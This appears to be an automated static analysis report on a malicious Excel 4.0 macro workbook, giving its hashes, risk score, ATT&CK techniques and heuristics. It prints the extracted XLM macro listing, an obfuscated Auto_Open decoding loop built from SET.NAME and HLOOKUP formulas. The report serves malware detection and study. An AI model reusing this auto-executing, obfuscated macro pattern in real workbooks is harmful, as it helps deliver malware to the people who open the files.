Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8335142acdea73c6…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:12 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 34e754b1e220c6bcc80a2b14a35bac50 SHA-1: fe88bc3fcd2a53c3d0cf5a4f434e6a14ee8bdba4 SHA-256: 8335142acdea73c63a4bb82945d4aa3dbbb12b668cd020079529408ff267c389
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous formula APIs, including RUN, suggesting it is designed to execute external commands or download additional payloads.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6651 bytes
SHA-256: 0b714c034600ff2426538844455499b4ea11d4f449be6c2aad063d8625d6417d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zvu
' 0018     22 LABEL : Cell Value, String Constant - ahKNCMj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B159 
' 0018     22 LABEL : Cell Value, String Constant - dbgHCba len=0 
' 0018     24 LABEL : Cell Value, String Constant - DpBYpEXQp len=0 
' 0018     27 LABEL : Cell Value, String Constant - EEzauIGpCZvN len=0 
' 0018     26 LABEL : Cell Value, String Constant - faAbDcVoHBt len=0 
' 0018     25 LABEL : Cell Value, String Constant - gjCNvquCED len=0 
' 0018     25 LABEL : Cell Value, String Constant - HlJoZGLpMA len=0 
' 0018     25 LABEL : Cell Value, String Constant - iElirBSIIL len=0 
' 0018     23 LABEL : Cell Value, String Constant - KadnvAOc len=0 
' 0018     23 LABEL : Cell Value, String Constant - KAWTHrGP len=0 
' 0018     25 LABEL : Cell Value, String Constant - KuBIgNTTsC len=0 
' 0018     26 LABEL : Cell Value, String Constant - laBeJPxuccI len=0 
' 0018     20 LABEL : Cell Value, String Constant - mfEhL len=0 
' 0018     20 LABEL : Cell Value, String Constant - npZcm len=0 
' 0018     21 LABEL : Cell Value, String Constant - qCjCfy len=0 
' 0018     22 LABEL : Cell Value, String Constant - QcQhkAG len=0 
' 0018     26 LABEL : Cell Value, String Constant - RVdGcelTaPQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - tcyMFhyxfsZo len=0 
' 0018     20 LABEL : Cell Value, String Constant - YjvMe len=0 
' 0018     23 LABEL : Cell Value, String Constant - YTJpixJA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zvu,R53,"",552.00000000000000000000
'  zvu,R54,"",215.00000000000000000000
'  zvu,R55,"",966.00000000000000000000
'  zvu,R56,"",740.00000000000000000000
'  zvu,R57,"",696.00000000000000000000
'  zvu,R58,"",347.00000000000000000000
'  zvu,B63,"SET.NAME("gjCNvquCED",0+VALUE("0"))",""
'  zvu,B67,"SET.NAME("YjvMe",gjCNvquCED)",""
'  zvu,B71,"SET.NAME("iElirBSIIL",gjCNvquCED)",""
'  zvu,B73,"SET.NAME("dbgHCba",COUNTA(qCjCfy))",""
'  zvu,B78,"SET.NAME("DpBYpEXQp",COUNTA(mfEhL))",""
'  zvu,B82,[],""
'  zvu,B86,"SET.NAME("KAWTHrGP","")",""
'  zvu,B90,"YjvMe",""
'  zvu,B95,"SET.NAME("KuBIgNTTsC",HLOOKUP("*",qCjCfy,YjvMe,FALSE))",""
'  zvu,B100,"RVdGcelTaPQ",""
'  zvu,B104,"SET.NAME("laBeJPxuccI",gjCNvquCED)",""
'  zvu,B106,[],""
'  zvu,B109,"laBeJPxuccI",""
'  zvu,B112,"HlJoZGLpMA",""
'  zvu,B117,"tcyMFhyxfsZo",""
'  zvu,B121,"npZcm",""
'  zvu,B125,"SET.NAME("EEzauIGpCZvN",VALUE(HLOOKUP("*",mfEhL,npZcm,FALSE)))",""
'  zvu,B128,"ahKNCMj",""
'  zvu,B132,"KAWTHrGP",""
'  zvu,B134,"iElirBSIIL",""
'  zvu,B139,NEXT(),""
'  zvu,B142,"YTJpixJA",""
'  zvu,B146,[],""
'  zvu,B150,"KadnvAOc",""
'  zvu,B152,NEXT(),""
'  zvu,B157,RETURN(),""
'  zvu,B179,"SET.NAME("QcQhkAG",B63)",""
'  zvu,B181,"qCjCfy",""
'  zvu,B183,"SET.NAME("mfEhL",R94C11)",""
'  zvu,B186,"SET.NAME("KadnvAOc",194)",""
'  zvu,B188,"SET.NAME("faAbDcVoHBt",2)",""
'  zvu,B193,QcQhkAG(),""
'  zvu,B194,HALT(),""